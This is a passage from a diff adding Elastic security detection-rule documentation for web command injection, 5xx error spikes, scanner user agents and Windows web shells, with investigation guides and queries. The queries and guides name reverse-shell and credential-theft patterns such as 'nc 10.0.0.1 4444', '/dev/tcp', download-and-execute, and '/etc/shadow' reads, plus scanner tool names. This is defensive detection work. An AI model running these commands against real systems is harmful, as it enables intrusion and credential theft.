"nc 10.0.0.1 4444", "busybox", or "chmod +x" to validate input handling, the server returns 200 and the rule triggers despite no server-side execution path consuming those parameters. + + +*Response and remediation* + + +- Block the offending source IPs and User-Agents at the WAF/reverse proxy, add virtual patches to drop URLs containing 'bash -c', '/dev/tcp', 'base64 -d', 'curl' or 'nc', and remove the targeted route from the load balancer until verified safe. +- Isolate the impacted host from the network (at minimum egress) if the web service spawns child processes like bash/sh/python -c, creates files in /tmp or /dev/shm, modifies /etc/cron.*, or opens outbound connections to an IP:port embedded in the request. +- Acquire volatile memory and preserve access/error logs and any downloaded script before cleanup, then terminate malicious child processes owned by nginx/httpd/tomcat/w3wp, delete dropped artifacts (e.g., /tmp/*, /dev/shm/*, suspicious files in the webroot), and revert cron/systemd or SSH key changes. +- Rotate credentials and tokens if /etc/passwd, /etc/shadow, or ~/.ssh paths were targeted, rebuild the host or container from a known-good image, patch the application and dependencies, and validate clean startup with outbound traffic restricted to approved destinations. +- Immediately escalate to the incident commander and legal/privacy if remote command execution is confirmed (evidence: web-server-owned 'bash -c' or 'python -c' executed, curl/wget download-and-execute, or reverse shell to an external IP:port) or if sensitive data exposure is suspected. +- Harden by enforcing strict input validation, disabling shell/exec functions in the runtime (e.g., PHP disable_functions and no shell-outs in templates), running under least privilege with noexec,nodev /tmp and a read-only webroot, restricting egress by policy, and deploying WAF rules and host sensors to detect these strings and cron/webshell creation. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-nginx.access-*, logs-apache.access-*, logs-apache_tomcat.access-*, logs-iis.access-*, logs-traefik.access-* +| where + // Limit to 200 response code to reduce noise + http.response.status_code == 200 + +| eval Esql.url_original_to_lower = to_lower(url.original) + +| eval Esql.contains_interpreter = case(Esql.url_original_to_lower like "*python* -c*" or Esql.url_original_to_lower like "*perl* -e*" or Esql.url_original_to_lower like "*ruby* -e*" or Esql.url_original_to_lower like "*ruby* -rsocket*" or Esql.url_original_to_lower like "*lua* -e*" or Esql.url_original_to_lower like "*php* -r*" or Esql.url_original_to_lower like "*node* -e*", 1, 0) +| eval Esql.contains_shell = case(Esql.url_original_to_lower like "*/bin/bash*" or Esql.url_original_to_lower like "*bash*-c*" or Esql.url_original_to_lower like "*/bin/sh*" or Esql.url_original_to_lower rlike "*sh.{1,2}-c*", 1, 0) +| eval Esql.contains_nc = case(Esql.url_original_to_lower like "*netcat*" or Esql.url_original_to_lower like "*ncat*" or Esql.url_original_to_lower rlike """.*nc.{1,2}[0-9]{1,3}(\.[0-9]{1,3}){3}.{1,2}[0-9]{1,5}.*""" or Esql.url_original_to_lower like "*nc.openbsd*" or Esql.url_original_to_lower like "*nc.traditional*" or Esql.url_original_to_lower like "*socat*", 1, 0) +| eval Esql.contains_devtcp = case(Esql.url_original_to_lower like "*/dev/tcp/*" or Esql.url_original_to_lower like "*/dev/udp/*", 1, 0) +| eval Esql.contains_helpers = case((Esql.url_original_to_lower like "*/bin/*" or Esql.url_original_to_lower like "*/usr/bin/*") and (Esql.url_original_to_lower like "*mkfifo*" or Esql.url_original_to_lower like "*nohup*" or Esql.url_original_to_lower like "*setsid*" or Esql.url_original_to_lower like "*busybox*"), 1, 0) +| eval Esql.contains_sus_cli = case(Esql.url_original_to_lower like "*import*pty*spawn*" or Esql.url_original_to_lower like "*import*subprocess*call*" or Esql.url_original_to_lower like "*tcpsocket.new*" or Esql.url_original_to_lower like "*tcpsocket.open*" or Esql.url_original_to_lower like "*io.popen*" or Esql.url_original_to_lower like "*os.execute*" or Esql.url_original_to_lower like "*fsockopen*", 1, 0) +| eval Esql.contains_privileges = case(Esql.url_original_to_lower like "*chmod*+x", 1, 0) +| eval Esql.contains_downloader = case(Esql.url_original_to_lower like "*curl *" or Esql.url_original_to_lower like "*wget *" , 1, 0) +| eval Esql.contains_file_read_keywords = case(Esql.url_original_to_lower like "*/etc/shadow*" or Esql.url_original_to_lower like "*/etc/passwd*" or Esql.url_original_to_lower like "*/root/.ssh/*" or Esql.url_original_to_lower like "*/home/*/.ssh/*" or Esql.url_original_to_lower like "*~/.ssh/*" or Esql.url_original_to_lower like "*/proc/self/environ*", 1, 0) +| eval Esql.contains_base64_cmd = case(Esql.url_original_to_lower like "*base64*-d*" or Esql.url_original_to_lower like "*echo*|*base64*", 1, 0) +| eval Esql.contains_suspicious_path = case(Esql.url_original_to_lower like "*/tmp/*" or Esql.url_original_to_lower like "*/var/tmp/*" or Esql.url_original_to_lower like "*/dev/shm/*" or Esql.url_original_to_lower like "*/root/*" or Esql.url_original_to_lower like "*/home/*/*" or Esql.url_original_to_lower like "*/var/www/*" or Esql.url_original_to_lower like "*/etc/cron.*/*", 1, 0) + +| eval Esql.any_payload_keyword = case( + Esql.contains_interpreter == 1 or Esql.contains_shell == 1 or Esql.contains_nc == 1 or Esql.contains_devtcp == 1 or + Esql.contains_helpers == 1 or Esql.contains_sus_cli == 1 or Esql.contains_privileges == 1 or Esql.contains_downloader == 1 or + Esql.contains_file_read_keywords == 1 or Esql.contains_base64_cmd == 1 or Esql.contains_suspicious_path == 1, 1, 0) + +| keep + @timestamp, + Esql.url_original_to_lower, + Esql.any_payload_keyword, + Esql.contains_interpreter, + Esql.contains_shell, + Esql.contains_nc, + Esql.contains_devtcp, + Esql.contains_helpers, + Esql.contains_sus_cli, + Esql.contains_privileges, + Esql.contains_downloader, + Esql.contains_file_read_keywords, + Esql.contains_base64_cmd, + Esql.contains_suspicious_path, + source.ip, + destination.ip, + agent.id, + http.request.method, + http.response.status_code, + user_agent.original, + agent.name, + data_stream.dataset, + data_stream.namespace + +| stats + Esql.event_count = count(), + Esql.url_path_count_distinct = count_distinct(Esql.url_original_to_lower), + + // General fields + + Esql.agent_name_values = values(agent.name), + Esql.agent_id_values = values(agent.id), + Esql.url_path_values = values(Esql.url_original_to_lower), + Esql.http.response.status_code_values = values(http.response.status_code), + Esql.user_agent_original_values = values(user_agent.original), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace), + + // Rule Specific fields + Esql.any_payload_keyword_max = max(Esql.any_payload_keyword), + Esql.contains_interpreter_values = values(Esql.contains_interpreter), + Esql.contains_shell_values = values(Esql.contains_shell), + Esql.contains_nc_values = values(Esql.contains_nc), + Esql.contains_devtcp_values = values(Esql.contains_devtcp), + Esql.contains_helpers_values = values(Esql.contains_helpers), + Esql.contains_sus_cli_values = values(Esql.contains_sus_cli), + Esql.contains_privileges_values = values(Esql.contains_privileges), + Esql.contains_downloader_values = values(Esql.contains_downloader), + Esql.contains_file_read_keywords_values = values(Esql.contains_file_read_keywords), + Esql.contains_base64_cmd_values = values(Esql.contains_base64_cmd), + Esql.contains_suspicious_path_values = values(Esql.contains_suspicious_path) + + by source.ip, agent.id + +| where + // Filter for potential command injection attempts with low event counts to reduce false positives + Esql.any_payload_keyword_max == 1 and Esql.event_count < 5 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: Lua +** ID: T1059.011 +** Reference URL: https://attack.mitre.org/techniques/T1059/011/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Reconnaissance +** ID: TA0043 +** Reference URL: https://attack.mitre.org/tactics/TA0043/ +* Technique: +** Name: Active Scanning +** ID: T1595 +** Reference URL: https://attack.mitre.org/techniques/T1595/ +* Sub-technique: +** Name: Vulnerability Scanning +** ID: T1595.002 +** Reference URL: https://attack.mitre.org/techniques/T1595/002/ +* Sub-technique: +** Name: Wordlist Scanning +** ID: T1595.003 +** Reference URL: https://attack.mitre.org/techniques/T1595/003/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: /etc/passwd and /etc/shadow +** ID: T1003.008 +** Reference URL: https://attack.mitre.org/techniques/T1003/008/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-web-server-potential-spike-in-error-response-codes.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-web-server-potential-spike-in-error-response-codes.asciidoc new file mode 100644 index 0000000000..fbc73299d4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-web-server-potential-spike-in-error-response-codes.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-21-web-server-potential-spike-in-error-response-codes]] +=== Web Server Potential Spike in Error Response Codes + +This rule detects unusual spikes in error response codes (500, 502, 503, 504) from web servers, which may indicate reconnaissance activities such as vulnerability scanning or fuzzing attempts by adversaries. These activities often generate a high volume of error responses as they probe for weaknesses in web applications. Error response codes may potentially indicate server-side issues that could be exploited. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 10m + +*Searches indices from*: now-11m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Web +* Use Case: Threat Detection +* Tactic: Reconnaissance +* Data Source: Nginx +* Data Source: Apache +* Data Source: Apache Tomcat +* Data Source: IIS +* Data Source: Traefik +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Web Server Potential Spike in Error Response Codes* + + +This rule detects bursts of 5xx errors (500–504) from GET traffic, highlighting abnormal server behavior that accompanies active scanning or fuzzing and exposes fragile code paths or misconfigured proxies. Attackers sweep common and generated endpoints while mutating query params and headers—path traversal, template syntax, large payloads—to repeatedly force backend exceptions and gateway timeouts, enumerate which routes fail, and pinpoint inputs that leak stack traces or crash components for follow-on exploitation. + + +*Possible investigation steps* + + +- Plot error rates per minute by server and client around the alert window to confirm the spike, determine scope, and separate a single noisy client from a platform-wide issue. +- Aggregate the failing URL paths and query strings from the flagged client and look for enumeration sequences, traversal encoding, template injection markers, or oversized inputs indicative of fuzzing. +- Examine User-Agent, Referer, header mix, and TLS JA3 for generic scanner signatures or reuse across multiple clients, and enrich the originating IP with reputation and hosting-provider attribution. +- Correlate the timeframe with reverse proxy/WAF/IDS and application error logs or stack traces to identify which routes threw exceptions or timeouts and whether they align with the client’s input patterns. +- Validate backend and dependency health (upstreams, databases, caches, deployments) to rule out infrastructure regressions, then compare whether only the suspicious client experiences disproportionate failures. + + +*False positive analysis* + + +- A scheduled deployment or upstream dependency issue can cause normal GET traffic to fail with 502/503/504, and many users egressing through a shared NAT or reverse proxy may be aggregated as one source IP that triggers the spike. +- An internal health-check, load test, or site crawler running from a single host can rapidly traverse endpoints and induce 500 errors on fragile routes, mimicking scanner-like behavior without malicious intent. + + +*Response and remediation* + + +- Immediately rate-limit or block the originating client(s) at the edge (reverse proxy/WAF) using the observed source IPs, User-Agent/TLS fingerprints, and the failing URL patterns generating 5xx bursts. +- Drain the origin upstream(s) showing repeated 500/502/503/504 on the probed routes, roll back the latest deployment or config change for those services, and disable any unstable endpoint or plugin that is crashing under input fuzzing. +- Restart affected application workers and proxies, purge bad cache entries, re-enable traffic gradually with canary percentage, and confirm normal response rates via synthetic checks against the previously failing URLs. +- Escalate to Security Operations and Incident Response if 5xx spikes persist after blocking or if error pages expose stack traces, credentials, or admin route disclosures, or if traffic originates from multiple global hosting ASNs. +- Deploy targeted WAF rules for path traversal and injection markers seen in the URLs, enforce per-IP and per-route rate limits, tighten upstream timeouts/circuit breakers, and replace verbose error pages with generic responses that omit stack details. +- Add bot management and IP reputation blocking at the CDN/edge, lock down unauthenticated access to admin/debug routes, and instrument alerts that trigger on sustained 5xx bursts per client and per route with automatic edge throttling. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-nginx.access-*, logs-apache.access-*, logs-apache_tomcat.access-*, logs-iis.access-*, logs-traefik.access-* +| where + http.request.method == "GET" and + http.response.status_code in ( + 500, // Internal Server Error + 502, // Bad Gateway + 503, // Service Unavailable + 504 // Gateway Timeout + ) + +| eval Esql.url_original_to_lower = to_lower(url.original) + +| keep + @timestamp, + data_stream.dataset, + http.request.method, + http.response.status_code, + source.ip, + agent.id, + agent.name, + Esql.url_original_to_lower, + data_stream.namespace + +| stats + Esql.event_count = count(), + Esql.http_response_status_code_count = count(http.response.status_code), + Esql.http_response_status_code_values = values(http.response.status_code), + Esql.agent_name_values = values(agent.name), + Esql.agent_id_values = values(agent.id), + Esql.http_request_method_values = values(http.request.method), + Esql.http_response_status_code_values = values(http.response.status_code), + Esql.url_path_values = values(Esql.url_original_to_lower), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + by source.ip, agent.id +| where + Esql.http_response_status_code_count > 10 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Reconnaissance +** ID: TA0043 +** Reference URL: https://attack.mitre.org/tactics/TA0043/ +* Technique: +** Name: Active Scanning +** ID: T1595 +** Reference URL: https://attack.mitre.org/techniques/T1595/ +* Sub-technique: +** Name: Vulnerability Scanning +** ID: T1595.002 +** Reference URL: https://attack.mitre.org/techniques/T1595/002/ +* Sub-technique: +** Name: Wordlist Scanning +** ID: T1595.003 +** Reference URL: https://attack.mitre.org/techniques/T1595/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-web-server-suspicious-user-agent-requests.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-web-server-suspicious-user-agent-requests.asciidoc new file mode 100644 index 0000000000..566140b7be --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-web-server-suspicious-user-agent-requests.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-21-web-server-suspicious-user-agent-requests]] +=== Web Server Suspicious User Agent Requests + +This rule detects unusual spikes in web server requests with uncommon or suspicious user-agent strings. Such activity may indicate reconnaissance attempts by attackers trying to identify vulnerabilities in web applications or servers. These user-agents are often associated with automated tools used for scanning, vulnerability assessment, or brute-force attacks. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 10m + +*Searches indices from*: now-11m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Web +* Use Case: Threat Detection +* Tactic: Reconnaissance +* Tactic: Credential Access +* Data Source: Nginx +* Data Source: Apache +* Data Source: Apache Tomcat +* Data Source: IIS +* Data Source: Traefik +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Web Server Suspicious User Agent Requests* + + +This rule flags surges of web requests that advertise scanner or brute-force tool user agents, signaling active reconnaissance against your web servers and applications. A common pattern is dirsearch or gobuster sweeping for hidden paths, firing hundreds of rapid GETs across diverse URLs from one host and probing admin panels, backup folders, and robots.txt. + + +*Possible investigation steps* + + +- Verify whether the activity aligns with approved scanners or uptime checks by cross-referencing inventories, allowlists, change windows, and egress ranges; otherwise enrich the originating IP with ASN, geolocation, and threat reputation to gauge risk. +- Sample representative requests to identify targeted paths and payloads (e.g., admin panels, .git/.env, backups, traversal, SQLi/XSS markers) and note any successful responses or downloads that indicate information exposure. +- Analyze request rate, methods, and status-code distribution to separate noisy recon from successful discovery or brute-force patterns, highlighting any POST/PUT with nontrivial bodies. +- Correlate the same client across hosts and security layers (application/auth logs, WAF/CDN, IDS) to determine whether it is scanning multiple services, triggering signatures, or attempting credential stuffing. +- Assess user-agent authenticity and evasiveness by comparing HTTP header order/values and TLS fingerprints (JA3/JA4) to expected clients, and verify true client identity via forwarded-for headers if behind a proxy or CDN. + + +*False positive analysis* + + +- Legitimate, scheduled vulnerability assessments by internal teams (e.g., Nessus, Nikto, or OpenVAS) can generate large volumes of requests with those user-agent strings across many paths. +- Developer or QA testing using discovery/fuzzing or intercept-proxy tools (Dirsearch, Gobuster, Ffuf, Burp, or OWASP ZAP) may unintentionally target production hosts, producing a short-lived spike with diverse URLs. + + +*Response and remediation* + + +- Immediately contain by blocking or rate-limiting the originating IPs at the WAF/CDN and edge firewall, and add temporary rules to drop or challenge requests that advertise tool user agents such as "nikto", "sqlmap", "dirsearch", "wpscan", "gobuster", or "burp". +- If traffic is proxied (CDN/reverse proxy), identify the true client via forwarded headers and extend blocks at both layers, enabling bot management or JS challenges on swept paths like /admin, /.git, /.env, /backup, and common discovery endpoints. +- Eradicate exposure by removing or restricting access to sensitive files and directories uncovered by the scans, rotating any credentials or API keys found, invalidating active sessions, and disabling public access to administrative panels until hardened. +- Recover by verifying no unauthorized changes or data exfiltration occurred, tuning per-IP and per-path rate limits to prevent path-sweeps while preserving legitimate traffic, and reintroducing normal rules only after fixes are deployed and stability is confirmed. +- Escalate to incident response if sensitive files are successfully downloaded (HTTP 200/206 on /.git, /.env, or backups), any login or account creation succeeds, multiple hosts or environments are targeted, or activity persists after blocking via UA spoofing or rapid IP rotation. +- Harden long term by enforcing WAF signatures for known scanner UAs and path patterns, denying directory listing and direct access to /.git, /.env, /backup and similar artifacts, requiring MFA/VPN for /admin and management APIs, and deploying auto-ban controls like fail2ban or mod_security. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-nginx.access-*, logs-apache.access-*, logs-apache_tomcat.access-*, logs-iis.access-*, logs-traefik.access-* + +| eval Esql.user_agent_original_to_lower = to_lower(user_agent.original), Esql.url_original_to_lower = to_lower(url.original) + +| where + Esql.user_agent_original_to_lower like "mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/74.0.3729.169 safari/537.36" or // Nikto + Esql.user_agent_original_to_lower like "nikto*" or // Nikto + Esql.user_agent_original_to_lower like "mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)" or // Nessus Vulnerability Scanner + Esql.user_agent_original_to_lower like "*nessus*" or // Nessus Vulnerability Scanner + Esql.user_agent_original_to_lower like "sqlmap/*" or // SQLMap + Esql.user_agent_original_to_lower like "wpscan*" or // WPScan + Esql.user_agent_original_to_lower like "feroxbuster/*" or // Feroxbuster + Esql.user_agent_original_to_lower like "masscan*" or // Masscan & masscan-ng + Esql.user_agent_original_to_lower like "fuzz*" or // Ffuf + Esql.user_agent_original_to_lower like "mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/user_agent.original like~ 87.0.4280.88 safari/537.36" or // Dirsearch + Esql.user_agent_original_to_lower like "mozilla/4.0 (compatible; msie 6.0; windows nt 5.1)" or // Dirb + Esql.user_agent_original_to_lower like "dirbuster*" or // Dirbuster + Esql.user_agent_original_to_lower like "gobuster/*" or // Gobuster + Esql.user_agent_original_to_lower like "*dirsearch*" or // dirsearch + Esql.user_agent_original_to_lower like "*nmap*" or // Nmap Scripting Engine + Esql.user_agent_original_to_lower like "*hydra*" or // Hydra Brute Forcer + Esql.user_agent_original_to_lower like "*w3af*" or // w3af Web Application Attack and Audit Framework + Esql.user_agent_original_to_lower like "*arachni*" or // Arachni Web Application Security Scanner + Esql.user_agent_original_to_lower like "*skipfish*" or // Skipfish Web Application Security Scanner + Esql.user_agent_original_to_lower like "*openvas*" or // OpenVAS Vulnerability Scanner + Esql.user_agent_original_to_lower like "*acunetix*" or // Acunetix Vulnerability Scanner + Esql.user_agent_original_to_lower like "*zap*" or // OWASP ZAP + Esql.user_agent_original_to_lower like "*burp*" // Burp Suite + +| keep + @timestamp, + data_stream.dataset, + user_agent.original, + source.ip, + agent.id, + agent.name, + Esql.url_original_to_lower, + Esql.user_agent_original_to_lower, + data_stream.namespace +| stats + Esql.event_count = count(), + Esql.url_original_count_distinct = count_distinct(Esql.url_original_to_lower), + Esql.agent_name_values = values(agent.name), + Esql.agent_id_values = values(agent.id), + Esql.url_original_values = values(Esql.url_original_to_lower), + Esql.user_agent_original_values = values(Esql.user_agent_original_to_lower), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + by source.ip, agent.id +| where + Esql.event_count > 50 and Esql.url_original_count_distinct > 10 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Reconnaissance +** ID: TA0043 +** Reference URL: https://attack.mitre.org/tactics/TA0043/ +* Technique: +** Name: Active Scanning +** ID: T1595 +** Reference URL: https://attack.mitre.org/techniques/T1595/ +* Sub-technique: +** Name: Scanning IP Blocks +** ID: T1595.001 +** Reference URL: https://attack.mitre.org/techniques/T1595/001/ +* Sub-technique: +** Name: Vulnerability Scanning +** ID: T1595.002 +** Reference URL: https://attack.mitre.org/techniques/T1595/002/ +* Sub-technique: +** Name: Wordlist Scanning +** ID: T1595.003 +** Reference URL: https://attack.mitre.org/techniques/T1595/003/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-web-shell-detection-script-process-child-of-common-web-processes.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-web-shell-detection-script-process-child-of-common-web-processes.asciidoc new file mode 100644 index 0000000000..1161fb8a13 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-web-shell-detection-script-process-child-of-common-web-processes.asciidoc @@ -0,0 +1,209 @@ +[[prebuilt-rule-8-19-21-web-shell-detection-script-process-child-of-common-web-processes]] +=== Web Shell Detection: Script Process Child of Common Web Processes + +Identifies suspicious commands executed via a web server, which may suggest a vulnerability and remote shell access. + +*Rule type*: new_terms + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/security/blog/2020/02/04/ghost-in-the-shell-investigating-web-shell-attacks/ +* https://www.elastic.co/security-labs/elastic-response-to-the-the-spring4shell-vulnerability-cve-2022-22965 +* https://www.elastic.co/security-labs/hunting-for-persistence-using-elastic-security-part-1 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Initial Access +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: Crowdstrike + +*Version*: 423 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Web Shell Detection: Script Process Child of Common Web Processes* + + +Adversaries may backdoor web servers with web shells to establish persistent access to systems. A web shell is a web script that is placed on an openly accessible web server to allow an adversary to use the web server as a gateway into a network. A web shell may provide a set of functions to execute or a command-line interface on the system that hosts the web server. + +This rule detects a web server process spawning script and command-line interface programs, potentially indicating attackers executing commands using the web shell. + + +*Possible investigation steps* + + +- Investigate abnormal behaviors observed by the subject process such as network connections, registry or file modifications, and any other spawned child processes. +- Examine the command line to determine which commands or scripts were executed. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell Get-FileHash cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Any activity that triggered the alert and is not inherently malicious must be monitored by the security team. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:windows and event.category:process and event.type:start and process.args : * and + process.parent.name:("w3wp.exe" or "httpd.exe" or "nginx.exe" or "php.exe" or "php-cgi.exe" or "tomcat.exe" or "ArcSOC.exe") and + ( + process.name : ("cmd.exe" or "cscript.exe" or "powershell.exe" or "pwsh.exe" or "powershell_ise.exe" or "wmic.exe" or "wscript.exe") or + process.name.caseless : ("cmd.exe" or "cscript.exe" or "powershell.exe" or "pwsh.exe" or "powershell_ise.exe" or "wmic.exe" or "wscript.exe") + ) and + not + ( + process.command_line : ( + "cmd.exe /c mode CON" or + "cmd.exe /s /c \"mode CON\"" or + "cmd.exe /c \"mode\"" or + "cmd.exe /s /c \"tput colors 2>&1\"" or + "cmd.exe /s /c \"stty 2> NUL\"" or + "cmd.exe /s /c \"stty 2>&1\"" or + "cmd.exe /c \"stty 2>&1\"" or + "cmd.exe /s /c \"ipconfig /all 2>&1\"" or + "cmd.exe /s /c \"echo '%os%'\"" or + *.\\install\\awk.exe* + ) or + process.args : (\(git or (*artisan* and *queue\:work*) or *rmdir* or "mode CON" or ver or ls or mode or dir) or + + (process.name:cmd.exe and process.parent.args : "c:\\\\xampp\\\\htdocs\\\\open-audit\\\\index.php") or + + (process.name:cmd.exe and process.args:("/V:ON" and "--header-html")) or + + (process.parent.args:"WebCession" and process.args:E\:\\Data\\CLM\\cession\\*.bat) or + + (process.parent.executable :"D:\\AiDKlinik\\php\\php-cgi.exe" and process.args:D\:\\AiDKlinik\\web*) or + + (process.parent.args :"E:/wamp64/bin/apache/apache2.4.62.1" and process.args:node*) or + + (process.parent.name:"php.exe" and process.name:"cmd.exe" and process.args:("/V:ON" and "/E:ON")) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: 